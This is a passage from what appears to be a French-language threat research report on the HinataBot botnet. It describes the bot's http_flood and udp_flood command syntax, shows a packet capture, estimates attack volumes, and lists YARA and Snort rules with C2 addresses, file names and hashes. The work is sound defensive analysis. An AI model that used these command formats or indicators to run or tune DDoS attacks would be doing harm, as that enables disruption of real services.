Abordons quelques observations importantes des en-têtes HTTP enregistrés lors d'événements d'attaque simulés. Il existe plusieurs valeurs assez évidentes pour l'identification, dans les champs statiques et randomisés. Les défenseurs devraient regarder cet échantillon de trafic, mais par crainte d'aider l'auteur à améliorer réellement les capacités d'attaque, nous hésitons à souligner exactement pourquoi ce trafic est probablement facile à repérer et à bloquer pour les défenseurs. Sans fournir trop d'aide à l'auteur du programme malveillant, nous pouvons dire qu'une grande partie de la charge utile est assez statique, en taille, ordre, et valeur. Certains champs sont randomisés, notamment les en-têtes User-Agent (à partir d'une liste de 10 agents utilisateur statiques), Keep-Alive et Cookies. Les défenseurs devraient également regarder de près les en-têtes Host et Referrer dans l'exemple de trafic de la figure 31. Il est important de noter que si la commande d'attaque ne spécifie pas de port cible dans l'instruction TARGET, elle prend par défaut la valeur TCP/80 ou TCP/443, et le port ne sera pas inclus dans l'un ou l'autre en-tête.
API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120
Figure 32 : Structure de commande d'attaque pour une attaque http_flood plus configurée
Il est également intéressant de noter que, comme le Go net.http.Client est exploité, la configuration de ce type d'attaque est effectuée via l'instruction target, et prend en charge tout ce que fait la bibliothèque (très complète et très capable). Cela inclut HTTPS, le suivi de redirection, la résolution de domaine, les en-têtes d'authentification HTTP, etc. Dans la commande d'attaque de la figure 32, le déplacement vers https:// force la bibliothèque intégrée à utiliser TLS, le port cible 443, et comme que nous avons inclus le user:pass@ dans l'instruction target, le trafic inclut également un en-tête Authorization: Basic dXNlcjpwYXNz .
Au moment d'écrire ces lignes, il semble que la méthode des requêtes d'attaque soit codée en dur et donc limitée aux requêtes HTTP GET … pour le moment.
Type d'attaque 1 : udp_flood
La commande udp_flood requiert tous les champs décrits précédemment, même si l'option fournie n'existe pas (Figure 33). Dans l'analyse et les essais, nous avons pu identifier un seul champ d'option, qui est utilisé pour contrôler le port ciblé. Si aucune option n'est adoptée, le binaire ne parvient pas à analyser la commande d'attaque ; dans certains cas, les valeurs passées via ce champ font même planter le bot.
API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337
Figure 33 : Structure de commande d'attaque pour une attaque udp_flood
Cette commande d'attaque semble légèrement différente de la variante http_flood , principalement en raison de la valeur UDP_OPTIONS transmise (1531337) dans le paramètre final. Ce paramètre contrôle le port cible vers lequel les paquets UDP seront envoyés. La valeur est composée de trois parties. La première partie correspond au type de paramètre (1), la seconde correspond à la longueur (5) de la valeur, et la troisième est la valeur elle-même (31337).
Il semble que ce quatrième paramètre soit nécessaire pour l'analyse syntaxique de la commande, mais la valeur peut être ignorée. Si aucune valeur de port n'est fournie ici, le fichier binaire définira par défaut UDP/80 comme port cible de l'attaque. Initialement, il existait une hypothèse selon laquelle, puisque ces données sont transmises de cette manière, nous trouverions d'autres paramètres de configuration supplémentaires pour 1-9. Mais il semble que seul le paramètre de port (1) ait un effet sur le trafic d'attaque sortant du bot.
La capture d'écran de la figure 34 montre la configuration du socket udp_flood . Il utilise la bibliothèque Go en utilisant net.Dial pour créer le socket UDP. Il crée ensuite 512 travailleurs qui partagent le socket, chacun fonctionnant en boucle et poussant les données sur le socket jusqu'à ce que le minuteur leur envoie une commande kill via un canal partagé. Les paquets UDP (Figure 35) qui sortent du bot sont très grands (65 549 octets par paquet au total), et sont susceptibles d'arriver fragmentés vers les victimes sur Internet. Cette taille est codée en dur dans le fichier binaire et n'est pas sous le contrôle de l'attaquant pour chaque attaque.
15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length
Figure 35 : Capture de paquets d'attaque UDP
Les 65 507 octets compressés dans le segment de données UDP sont tous des octets nuls (Figure 36). L'en-tête de l'IP ID augmente de manière séquentielle pendant l'attaque et, bien que le port source soit éphémère, il reste statique pendant la durée de l'inondation. Tout cela est probablement un effet secondaire de net.Dial dans la gestion du socket UDP sur l'ensemble du pool de travail des pirates. Il convient également de noter les sommes de contrôle échouées sur les données UDP.
Qu'ont-elles donné ?
Afin de tester ces deux méthodes d'attaque, nous avons mené deux attaques de 10 secondes, une pour chaque méthode, en effectuant uniquement un « carving » des flux d'attaque « off the wire » en captures de paquets. Nous avons ensuite pu voir la taille globale du trafic généré par type d'attaque.
La commande http_flood a généré 3,4 Mo de données de capture de paquets et a envoyé 20 430 requêtes HTTP. La taille des requêtes variait de 484 à 589 octets par requête, variant principalement en raison de la randomisation des données des en-têtes User-Agent et Cookie. Ces longueurs de paquets de requête sont également affectées par l'inclusion d'en-têtes supplémentaires (par exemple, Authorization Basic data), le chemin d'URL et le remplissage des paramètres GET, ainsi que par l'inclusion de TLS. Il convient donc de les considérer avec précaution.
Il est intéressant de souligner que le serveur ciblé lors de cet événement d'attaque était également très simple et « single threaded ». Il est possible que si l'attaque était dirigée vers un serveur capable de répondre plus rapidement au pool de travail, ces chiffres augmenteraient.
La commande udp_flood a généré 6 733 paquets pour un total de 421 Mo de données de capture de paquets sur le réseau. Il n'y a pas grand chose d'intéressant à propos de cette attaque : elle est de nature volumétrique et semble faire un travail correct en termes de volume. Comme indiqué précédemment, en raison de la taille des paquets générés par cette attaque, les victimes verront probablement un déluge de fragments lors d'attaques réelles.
En utilisant nos ensembles d'échantillons de 10 secondes et une taille théorique du botnet, nous pouvons commencer à estimer la taille des attaques. Si le botnet ne contenait que 1 000 nœuds, le flux UDP résultant serait d'environ 336 Gbit/s par seconde. Avec 10 000 nœuds (environ 6,9 % de la taille de Mirai à son pic), le flux UDP serait de plus de 3,3 Tbit/s. Le flux HTTP à 1 000 nœuds générerait environ 2,7 Gbit/s et plus de 2 Mrps. Avec 10 000 nœuds, ces chiffres passent à 27 Gbit/s et 20,4 Mrps.
Ces capacités théorisées ne prennent évidemment pas en compte les différents types de serveurs qui participeraient, leurs capacités respectives de bande passante et de matériel, etc. Mais cela permet de se faire une idée. Espérons que les auteurs de HinataBot changent de passe-temps, pour ne pas devoir faire face à leur botnet à échelle réelle.
Conclusion
HinataBot est le dernier exemple de l'évolution de l'écosystème des menaces, en particulier en ce qui concerne les botnets. Les auteurs de programmes malveillants continuent d'innover dans leur utilisation des méthodes de mise en œuvre, des langages et dans leurs méthodes de distribution. En s'appuyant sur des techniques plus anciennes et éprouvées, telles que celles utilisées au sein de Mirai, les attaquants peuvent se concentrer davantage sur la présentation de leurs « œuvres d'art » que sur le fait d'échapper à la détection, ainsi que sur une évolution en permanence et l'ajout de nouvelles fonctionnalités.
En continuant d'explorer et d'analyser les menaces en évolution comme HinataBot, nous pouvons mieux comprendre les tactiques, techniques et procédures des attaquants afin de mettre au point des défenses plus solides contre eux. Pour la distribution, la famille HinataBot s'appuie sur d'anciennes vulnérabilités et l'attaque en force des mots de passe faibles. Cet autre exemple montre lui aussi que les stratégies de protection des mots de passe et d'application des correctifs sont plus importantes que jamais. Les attaquants sont toujours à la recherche de solutions à faible coût et d'un retour sur investissement élevé. Ainsi, rendre plus difficile la réussite des attaques contribue à protéger votre environnement et Internet.
Ce n'est probablement que le début pour HinataBot. L'équipe SIRT d'Akamai continuera à suivre son évolution au fil du temps et à signaler de nouvelles découvertes, le cas échéant.
Indicateurs d'infection
règles YARA
Binaires HinataBot
rule detect_hinatabot_strings {
Meta:
description = "This rule detects HinataBot binaries."
confidence = "high"
strings:
$s1 = "HINATA_START_NICE"
$s2 = "API_CONNECT_BOT"
$s3 = "Connection to CNC is OK!"
$s4 = "API_CONNECTION_SIGNAL_CHECK"
$s5 = "API_CONNECTION_SIGNAL_OK"
$s6 = "API_CONNECTION_ATTACK"
$s7 = "Hinata already running"
$s8 = "API_CONNECTION_KILL_ALL"
$s9 = "hinata_exists"
$s10 = "hinata_loaded"
$s11 = "HINATA_"
condition:
3 of ($s*)
}
Scripts d'infection HinataBot
rule detect_malicious_files {
meta:
description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
confidence = "high"
strings:
$file_names = /hinata-[a-z\.0-9]+/
condition:
all of them
}
Règles Snort
http_flood
alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server; sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
Communications depuis le serveur C2
alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
Communications vers le serveur C2
alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)
Adresses IP
77.73.131.247
156.236.16.237
185.112.83.254
Ports
61420
4120
CVE (Common Vulnerabilities and Exposures, vulnérabilités et failles courantes)
CVE-2017-17215
(CVE-2014-8361)
Noms de fichiers
tftp.sh
wget.sh
hinata-linux.amd64
hinata-windows-arm5
hinata-plan9-arm5
hinata-openbsd-arm5
hinata-netbsd-arm5
hinata-linux-arm5
hinata-freebsd-arm5
hinata-windows-arm7
hinata-windows-arm64.exe
hinata-windows-arm6
hinata-windows-arm
hinata-windows-amd64.exe
hinata-windows-386.exe
hinata-solaris-amd64
hinata-plan9-arm7
hinata-plan9-arm6
hinata-plan9-arm
hinata-plan9-amd64
hinata-plan9-386
hinata-openbsd-mips64
hinata-openbsd-arm7
hinata-openbsd-arm64
hinata-openbsd-arm6
hinata-openbsd-arm
hinata-openbsd-amd64
hinata-openbsd-386
hinata-netbsd-arm7
hinata-netbsd-arm64
hinata-netbsd-arm6
hinata-netbsd-arm
hinata-netbsd-amd64
hinata-netbsd-386
hinata-linux-s390x
hinata-linux-riscv64
hinata-linux-ppc64le
hinata-linux-ppc64
hinata-linux-mipsle
hinata-linux-mips64le
hinata-linux-mips64
hinata-linux-mips
hinata-linux-arm7
hinata-linux-arm64
hinata-linux-arm6
hinata-linux-arm
hinata-linux-amd64
hinata-linux-386
hinata-js-wasm
hinata-illumos-amd64
hinata-freebsd-arm7
hinata-freebsd-arm64
hinata-freebsd-arm6
hinata-freebsd-arm
hinata-freebsd-amd64
hinata-freebsd-386
hinata-dragonfly-amd64
hinata-darwin-arm64
hinata-darwin-amd64
hinata-android-arm64
hinata-aix-ppc64
Hachages récents
01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67